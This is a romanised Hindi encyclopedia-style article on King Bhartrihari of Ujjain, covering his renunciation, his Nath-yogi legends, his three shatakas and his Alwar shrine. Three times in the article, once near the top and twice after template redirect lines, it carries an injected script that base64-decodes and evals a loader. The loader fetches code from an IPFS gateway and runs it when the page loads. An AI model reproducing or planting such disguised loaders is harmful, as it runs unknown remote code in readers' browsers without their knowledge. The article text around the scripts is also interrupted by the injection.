भर्तृहरि (राजा)

chitr:Disamb2.jpg bhartrihari

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- bhartrihari

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|250px|raja bhartrihari bhartrihari raja vikramadity upadhi dharan karane vale chandragupt dvitiy ke bade bhaee the tatha ujjain ke shasak the jinhoanne maya moh tyagakar jangal mean tapasya ki. raja bhartrihari anumanatah 550 ee0 se poorv ham logoan ke bich ae the. inake pita ka nam chandrasen tha. patni ka nam piangala tha jise ve atyant prem karate the.

jivan charit

janashruti aur parampara ke anusar bhartrihari vikramasanvath ke pravartak samrat chandragupt vikramadity ke agraj mane jate haian. vikramasanvath eesavi sanh se 56 varsh poorv prarambh hota hai, jo vikramadity ke praudhavastha ka samay raha hoga. bhartrihari vikramadity ke agraj the, atah inaka samay kuchh aur poorv raha hoga. vikramasanvath ke prarambh ke vishay mean bhi vidvanoan mean matabhed haian. kuchh log eesavi sanh 78 aur kuchh log eesavi sanh 544 mean isaka prarambh manate haian. ye donoan mat bhi agrahy pratit hote haian. pharasi granth kalitau dimanah mean panchatantr ka ek pady shashidivakar yorgrahapidanamsh ka bhav uddhrit hai. panchatantr mean anek granthoan ke padyoan ka sankalan hai. sanbhavatah panchatantr mean ise nitishatak se grahan kiya gaya hoga. pharasi granth 571 eesavi se 581 ee0 ke ek pharasi shasak ke nimitt nirmit hua tha. isalie raja bhartrihari anumanatah 550 ee0 se poorv ham logoan ke bich ae the. bhartrihari ujjayini ke raja the. ye vikramadity upadhi dharan karane vale chandragupt dvitiy ke b de bhaee the. inake pita ka nam chandrasen tha. patni ka nam piangala tha jise ve atyant prem karate the. inhoanne sundar aur rasapoorn bhasha mean niti, vairagy tatha shrriangar jaise goodh vishayoan par shatak-kavy likhe haian. is shatakatray ke atirikt, vakyapadiy namak ek uchch shreni ka vyakaran granth bhi inake nam par prasiddh hai. kuchh log bhattikavy ke rachayita bhatti se bhi unaka eky manate haian. aisa kaha jata hai ki nathapanth ke vairagy namak upapanth ke yah hi pravartak the. chini yatri itsiang aur hvenasaang ke anusar inhoanne bauddh dharm grahan kiya tha. parantu any sootroan ke anusar ye advait vedantachary the. chini yatri itsiang ke yatra vivaran se yah jnat hota hai ki 651 eesvi mean bhartrihari namak ek vaiyakaran ki mrityu huee thi. is prakar inaka kal satavian shatabdi ka pratit hota hai, parantu bharatiy puranoan mean inake sambandh mean ullekh hone se sanket milata hai ki itsiang dvara varnit bhartrihari koee any rahe hoange. maharaj bhartrihari niahsandeh vikramasanvat ki pahali sadi se poorv mean upasthit the. ve ujjain ke adhipati the. unake pita maharaj gandharvasen bahut yogy shasak the. unake do vivah hue. pahale se vivah se maharaj bhartrihari aur doosare se maharaj vikramadity hue the. pita ki mrityu ke bad bhartrihari ne rajakary sanbhala. vikram ke sabal kandhoan par shasanabhar dekar vah nishchint ho ge. unaka jivan kuchh vilasi ho gaya tha. vah asadharan kavi aur rajanitijn the. isake sath hi sanskrit ke prakand pandit the. unhoanne apane pandity aur nitijnata aur kavy jnan ka sadupayog shrriangar aur nitipoorn rachana se sahity sanvardhan mean kiya. vikramadity ne unaki vilasi manovritti ke prati vidroh kiya. desh us samay videshi akraman se bhayakrant tha. pahale to raja bhartrihari ne apane bhaee vikramadity ko rajy se nirvasit kar diya, lekin samay sabase jyada shaktishali hota hai. vidhata ne bhartrihari ke bhal mean yog-lipi likhi thi. ek din jab unhean poorn roop se pata chala ki jis rani piangala ko vah apane pranoan se bhi priy samajhate the, vah kotaval ke prem mean doobi hai, unhean vairagy ho gaya. vah apar vaibhav ka tyag karake usi kshan rajamahal se bahar nikal p de.

vairagy darshan

thumb|right|250px|bhartrihari samadhi is sansar ki mayamoh ko tyag kar bhartrihari vairagi ho ge aur raj-pat chho d kar guru gorakhanath ki sharan mean chale ge. usake bad hi unhoanne vahian vairagy par 100 shlok likhe, jo ki vairagy shatak ke nam se prasiddh haian. usase pahale apane shasanakal mean ve shrriangar shatak aur niti shatak namak do sanskrit kavy likh chuke the. pathak jan lean ki ye tinoan shatak aj bhi upalabdh haian aur pathaniy haian.

unhean vishvas ho gaya ki vishay-bhog mean rog ka bhay hai, dhan mean rajy ka, shastr mean vivad ka, gun mean durjan ka, sharir mean mrityu ka. yoan sansar ki sabhi vastuean bhayavah haian, keval vairagy hi shreshth aur amar abhay hai. tab unake shrrigar aur nitiparak jivan mean vairagy ka samavesh ho gaya. unake adharoan par shiv nam ka vas ho gaya, trishna aur vasana ne tyag aur tapasya ki charam visheshata siddh ki. unhoanne apane atma mean paramatma ki vyapti paee, brahmanubhooti ki, vedant ke saty ka varan kiya. unhoanne apane apako dhikkara, ki aj tak prem vasana aur vishayoan ne hamean hi bhog dala hai. hamane tap nahian kiya, tapoan ne hi hamako tapa dala hai. kal ka ant nahian hua, usi ne hamara ant kar dala hai. ham jirn ho chale, par trishna ka abhav nahian hua. unaka jivan sadhanamay aur jnanapoorn ho utha. unhoanne shivatattv ki prapti ki. jnanoday ne shiv ke roop mean unhe shanti ka adhikari banaya. sansar ke aghat-pratighat se door rahakar unhoanne brahm ke shiv roop ki sadhana ki. unhoanne dasoan dishaoan aur tinoan kaloan mean paripoorn, anant chaitany svaroop anubhavagamy, shant aur tejomay brahm ki upasana ki. virakti hi unaki ekamatr sangini ho chali. mahadev hi unake ekamatr dev the. vah bhakti ki bhagirathi mean gote lagane lage.

vastav mean yahi is sansar ki vastavikata hai. ek vyakti kisi any vyakti se prem karata hai aur chahata hai ki vah vyakti bhi use utana hi prem kare. parantu vidanbana yah hai ki vah doosara vyakti kisi any vyakti se prem karata hai. isaka karan yah hai ki sansar v isake sabhi prani apoorn haian, sabamean kuchh n kuchh kami hai. sirph ek eeshvar hi poorn hai. ek vahi hai jo har jiv se utana hi prem karata hai, jitana jiv usase karata hai. isalie hamean prem eeshvar se hi karani chahie. sahi vakt par yahi soch raja bhartrihari ko guru gorakhanath ke ashray mean le gee.

yogiraj bhartrihari ka pavitr nam amaraphal khae bina amar ho gaya. unaka hriday parivartan is bat ka jvalant pratik hai. vah tyag, vairagy aur tapake pratinidhi the. himalay se kanyakumari tak unaki rachanaean, jivanagatha bhinn-bhinn bhashaoan me yogiyoan aur vairagiyoan dvara anishchit kal se gaee ja rahi haian aur bhavishy mean bhi bahut dinoan tak yahi kram chalata rahega.

antim samay

thumb|left|250px|bhartrihari gupha raja bhartrihari ka antim samay rajasthan mean bita. unaki samadhi alavar rajy ke ek saghan van mean aj bhi vidyaman hai. usake satavean daravaze par ek akhand dipak jalata rahata hai. use bhartrihari ki jyoti svikar kiya jata hai. bhartrihari mahanh shivabhakt aur siddh yogi the aur apane bhaee vikramadity ko punah sthapit kar amar ho ge. vikramadity unaki tarah hi chakravarti nikale aur unake sushasanakal mean vikram sanvat ki sthapana huee, jisaka shubharanbh aj bhi chaitramas ke navaratr se aranbh hota hai. raja bhartrihari hamesha ke lie apane vairagyabhav se brahm svaroop duniya mean apani kavy kritiyoan ki rachanaoan se amar ho ge. is sandarbh mean krishna bhagavan ne apane priy patr ki vyakhya karate hue gita mean kaha hai- ‘jo purush akaanksha se rahit, aandar-bahar se shuddh, daksh, pakshapat se rahit aur duahkhoan se chhoota hua hai, sabi asaktiyoan ka tyagi vahi vyakti mera bhakt hai aur mujhe priy hai.

kavy rachana

1. apane jivan kal mean unhoanne shrriangar, niti shastroan ki to rachana ki hi thi, ab unhoanne vairagy shatak ki rachana bhi kar dali aur vishay vasanaoan ki katu alochana ki. in tin kavy shatakoan ke alava vyakaran shastr ka param prasiddh granth vakyapadiy bhi unake mahanh pandity ka parichayak hai. vah shabd vidya ke maulik achary the. shabd shastr brahma ka sakshath rup hai. atev ve shivabhakt hone ke sath-sath brahm roopi shabdabhakt bhi the. shabd brahm ka hi arth rup nanatmak jagat-vivart hai. yogijan shabd brahm se tadatmy ho jane ko hi moksh manate haian. bhartrihari shabd brahm ke yogi the. unaka vairagy darshan paramatma ke sakshatkar ka paryay hai. sah karan hai ki aj bhi shabdo ki duniya ke rachanakar sada ke amar ho jate hai.
2. bhartrihari ek mahanh sanskrit kavi the. sanskrit sahity ke itihas mean bhartrihari ek nitikar ke roop mean prasiddh haian. inake shatakatray (nitishatak, shrriangarashatak, vairagyashatak ) ki upadeshatmak kahaniyaan bharatiy janamanas ko vishesh roop se prabhavit karati haian. pratyek shatak mean sau-sau shlok haian. bad mean inhoanne guru gorakhanath ka shishy banakar vairagy dharan kar liya tha, isalie inaka ek lok prachalit nam baba gopichand bharathari bhi hai.
3. bhartrihari sanskrit muktak kavy parampara ke agrani kavi haian. inhian tin shatakoan ke karan unhean ek saphal aur uttam kavi mana jata hai. inaki bhasha saral, manoram, madhur aur pravahamayi hai. bhavabhivyakti itani sashakt hai ki vah pathak ke hriday aur man donoan ko prabhavit karati hai. unake shatakoan mean chhandoan ki vividhata hai. bhav aur vishay ke anukool chhand ka prayog, vishay ke anurup udaharan adi se unaki sooktiyaan jan-jan mean prachalit rahi haian aur samay-samay par jivan mean margadarshan aur prerana deti rahi haian.

bhartrihari ka mandir/smarak

[[chitr:Bharthari.jpg|thumb|250px|rajasthan ke alavar me bhartrihari ka mandir]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rajasthan ke alavar me bhartrihari ka mandir hai jise bharatiy puratatv vibhag ne sanrakshit smarak ghoshit kiya hai yah alavar shahar se 32 kimi door jayapur alavar marg par sthit hai yahaan bhadrapad ke shukl paksh ki saptami aur ashtami ko mela lagata hai . nathapanth ki alakh jagane vale kanaphade nath sadhuoan ke lie is tirth ki vishesh manyata hai. aj abhi bhi alavar rajasthan mean bhartrihari ki gupha aur gopichand bharathari ki gupha prasiddh hai.

kianvadantiyaan

inake jivan se sambandhit kuchh kianvadantiyaan is prakar hai-

katha-1

ek bar raja bhartrihari apani patni piangala ke sath jangal mean shikar khelane ke lie ge hue the. vahaan kafi samay tak bhatakate rahane ke bad bhi unhean koee shikar nahian mila. nirash pati-patni jab ghar laut rahe the, tabhi raste mean unhean hiranoan ka ek jhund dikhaee diya. jisake age ek mrig chal raha tha. bhartrihari ne us par prahar karana chaha tabhi piangala ne unhean rokate hue anurodh kiya ki maharaj, yah mrigaraj 700 hiraniyoan ka pati aur palanakarta hai. isalie ap usaka shikar n karean. bhartrihari ne patni ki bat nahian mani aur hiran par ban chala diya. isase vah maranasann hokar bhoomi par gir p da. pran chho date-chho date hiran ne raja bhartrihari se kaha, ‘tumane yah thik nahian kiya. ab jo maian kahata hooan usaka palan karo. meri mrityu ke bad mere siang shrriangi baba ko, mere netr chanchal nari ko, meri tvacha sadhu-santoan ko, mere pair bhagane vale choroan ko aur mere sharir ki mitti papi raja ko de dena. maranasann hiran ki karunamayi batean sunakar bhartrihari ka hriday dravit ho utha. hiran ka kalevar gho de par lad kar vah marg mean chalane lage. raste mean unaki mulakat baba gorakhanath se huee. bhartrihari ne is ghatana se avagat karate hue unase hiran ko jivit karane ki prarthana ki. is par baba gorakhanath ne kaha- maian ek shart par ise jivanadan de sakata hooan ki isake jivit ho jane par tumhean mera shishy banana p dega. raja ne gorakhanath ki bat man li.

katha-2

bharatiy vaangamay ke anupam granth bhavishy puran se jnat hota hai ki raja vikramadity ka samay atyant sukh aur samriddhi ka tha. us samay unake rajy mean jayant nam ka ek brahman rahata tha. ghor tapasya ke parinam svaroop use indr ke yahaan se ek phal ki prapti huee thi, jisaki visheshata yah thi ki koee bhi vyakti use kha lene ke uparant amar ho sakata tha. phal ko pakar brahman apane ghar chala aya tatha use raja bhartrihari ko dene ka nishchay kiya aur unhean de diya.

katha-3

ek any anushruti ke anusar bhartrihari vikramadity ke b de bhaee tatha bharat ke prasiddh samrat the. ve malava ki rajadhani ujjayini mean nyay poorvak shasan karate the. unaki ek rani thi jisaka nam piangala bataya jata hai. raja usase atyant prem karate the, jabaki vah maharaja se atyant kapatapoorn vyavahar karati thi. yadyapi inake chhote bhaee vikramadity ne raja bhartrihari ko anek bar sachesht kiya tha tathapi raja ne usake prem jal mean phanse hone ke karan usake kriya-kalapoan par dhyan nahian diya tha. us anushruti ke adhar par yah sanket milata hai ki bhartrihari malava ke nivasi tatha vikramadity ke b de bhaee the.

bhartrihari ki pariksha

ujjayini (ujjain) ke raja bhartrihari se pas 365 pakashastri yani rasoie the, jo raja aur usake parivar aur atithiyoan ke lie bhojan banane ke lie. varsh mean keval ek-ek ki bari ati thi. 364 din ve takate rahate the ki kab hamari bare ae aur ham rajasahab ke lie bhojan banaean, inam paean. lekin is dauran bhartrihari jab guru gorakhanath ji ke charanoan mean chale gaye to bhiksha maangakar khane lage the.
ek bar guru gorakhanathaji ne apane shishyoan se kaha,
‘dekho, raja hokar bhi isane kam, krodh, lobh tatha ahankar ko jit liya hai aur dridhanishchayi hai.‘
shishyoan ne kaha,
‘guruji ! ye to rajadhiraj haian, inake yahaan 365 to bavarchi rahate the. aise bhog vilas ke vatavaran mean se ae hue raja aur kaise kam, krodh, lobh rahit ho ge?’
guru gorakhanath ji ne raja bhartrihari se kaha, ‘bhartrihari! jao, bhandare ke lie jangal se lak diyaan le ao.'
raja bhartrihari nange pair ge, jangal se lak diyaan ekatrit karake sir par bojh uthakar la rahe the. gorakhanath ji ne doosare shishyoan se kaha,
‘jao, usako aisa dhakka maro ki bojh gir jae.‘
chele ge aur aisa dhakka mara ki bojh gir gaya aur bhartrihari bhi gir ge. bhartrihari ne bojh uthaya, lekin n chehare par shikan, n aankhoan mean ag ke gole, n hoanth ph dake. guru ji ne cheloan se kaha,
‘dekha! bhartrihari ne krodh ko jit liya hai.'
shishy bole, ‘guruji! abhi to aur bhi pariksha leni chahie.'
tho da sa age jate hi guruji ne yogashakti se ek mahal rach diya. gorakhanath ji bhartrihari ko mahal dikha rahe the. yuvatiyaan nana prakar ke vyanjan adi se sevak unaka adar satkar karane lage. bhartrihari yuvatiyoan ko dekhakar kami bhi nahian hue aur unake nakharoan par krodhit bhi nahian hue, chalate hi ge.
gorakhanathaji ne shishyoan ko kaha,
‘ab to tum logoan ko vishvas ho hi gaya hai ki bhartrihari ne kam, krodh, lobh adi ko jit liya hai.'
shishyoan ne kaha,
‘gurudev ek pariksha aur lijie.'
gorakhanathaji ne kaha, ‘achchha bhartrihari! hamara shishy banane ke lie pariksha se gujarana p data hai. jao, tumako ek mahina marubhoomi mean nange pair paidal yatra karani hogi.'
bhartrihari apane nirdisht marg par chal p de. paha di ilaka laanghate-laanghate rajasthan ki marubhoomi mean pahuanche. dhadhakati baloo, k dake ki dhoop marubhoomi mean pair rakho to bas jal jae. ek din, do din yatra karate-karate chhah din bit ge. satavean din guru gorakhanathaji adrishy shakti se apane priy cheloan ko bhi sath lekar vahaan pahuanche. gorakhanath ji bole,
‘dekho, yah bhartrihari ja raha hai. maian abhi yogabal se vriksh kh da kar deta hooan. vriksh ki chhaya mean bhi nahian baithega.' achanak vriksh kh da kar diya. chalate-chalate bhartrihari ka pair vriksh ki chhaya par a gaya to aise uchhal p de, mano aangaroan par pair p d gaya ho.
‘marubhoomi mean vriksh kaise a gaya? chhayavale vriksh ke niche pair kaise a gaya? guru ji ki ajna thi marubhoomi mean yatra karane ki.’ koodakar door hat ge. guru ji prasann ho ge ki dekho! kaise guru ki ajna manata hai. jisane kabhi pair galiche se niche nahian rakha, vah marubhoomi mean chalate-chalate pe d ki chhaya ka sparsh hone se aangare jaisa ehasas karata hai.’ gorakhanath ji dil mean chele ki dridhata par b de khush hue, lekin aur shishyoan ke man mean eershya thi.
shishy bole, ‘guruji! yah to thik hai lekin abhi to pariksha poori nahian huee.'
gorakhanath ji (roop badal kar) bhartrihari se mile aur bole, ‘jara chhaya ka upayog kar lo.' bhartrihari bole,
‘nahian, mere guruji ki ajna hai ki nange pair marubhoomi mean chalooan.'
gorakhanath ji ne socha, ‘achchha! kitana chalate ho dekhate haian.’
tho da age ge to gorakhanath ji ne yogabal se kaante paida kar die. aisi kantili jha di ki kantha (phate-purane kap doan ko jo dakar banaya hua vastr) phat gaya. pairoan mean shool chubhane lage, phir bhi bhartrihari ne ‘ah’ tak nahian ki. bhartrihari to aur aantarmukh ho ge,
’yah sab sapana hai, guru ji ne jo adesh diya hai, vahi tapasya hai. yah bhi guruji ki kripa hai’.
aantim pariksha ke lie guru gorakhanath ji ne apane yogabal se prabal tap paida kiya. pyas ke mare bhartrihari ke pran kanth tak a gaye. tabhi gorakhanath ji ne unake atyant samip ek hara-bhara vriksh kh da kar diya, jisake niche pani se bhari surahi aur sone ki pyali rakhi thi. ek bar to bhartrihari ne usaki or dekha par turant khyal aya ki kahian guru ajna bhang to nahian ho rahi hai. unaka itana sochana hi hua ki samane se gorakhanath ate dikhaee die. bhartrihari ne dandavat pranam kiya.
guruji bole, ”shabash bhartrihari! var maang lo. ashtasiddhi de dooan, navanidhi de dooan. tumane suandar-suandar vyanjan thukara die, yuvatiyaan tumhare charan pakharane ke lie taiyar thian, lekin tum unake chakkar mean nahian ae. tumhean jo maangana hai, vo maang lo.
bhartrihari bole, ‘guruji! bas ap prasann haian, mujhe sab kuchh mil gaya. shishy ke lie guru ki prasannata sab kuchh hai. ap mujhase santusht hue, mere karo doan punyakarm aur yajn, tap sab saphal ho ge.'
gorakhanath bole, ‘nahian bhartrihari! anadar mat karo. tumhean kuchh-n-kuchh to lena hi p dega, kuchh-n-kuchh maangana hi p dega.' itane mean reti mean ek chamachamati huee sooee dikhaee di. use uthakar bhartrihari bole, ‘guruji! kantha phat gaya hai, sooee mean yah dhaga piro dijie taki maian apana kantha si looan.'
gorakhanath ji aur khush hue ki ’had ho gee! kitana nirapeksh hai, ashtasiddhi-navanidhiyaan kuchh nahian chahie. maianne kaha kuchh maango, to bolata hai ki sooee mean jara dhaga dal do. guru ka vachan rakh liya. koee apeksha nahian? bhartrihari tum dhany ho ge! kahaan ujjayini ka samrat nange pair marubhoomi mean. ek mahina bhi nahian hone diya, sat-ath din mean hi pariksha se uttirn ho ge.'

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

bhartrihari ka mandir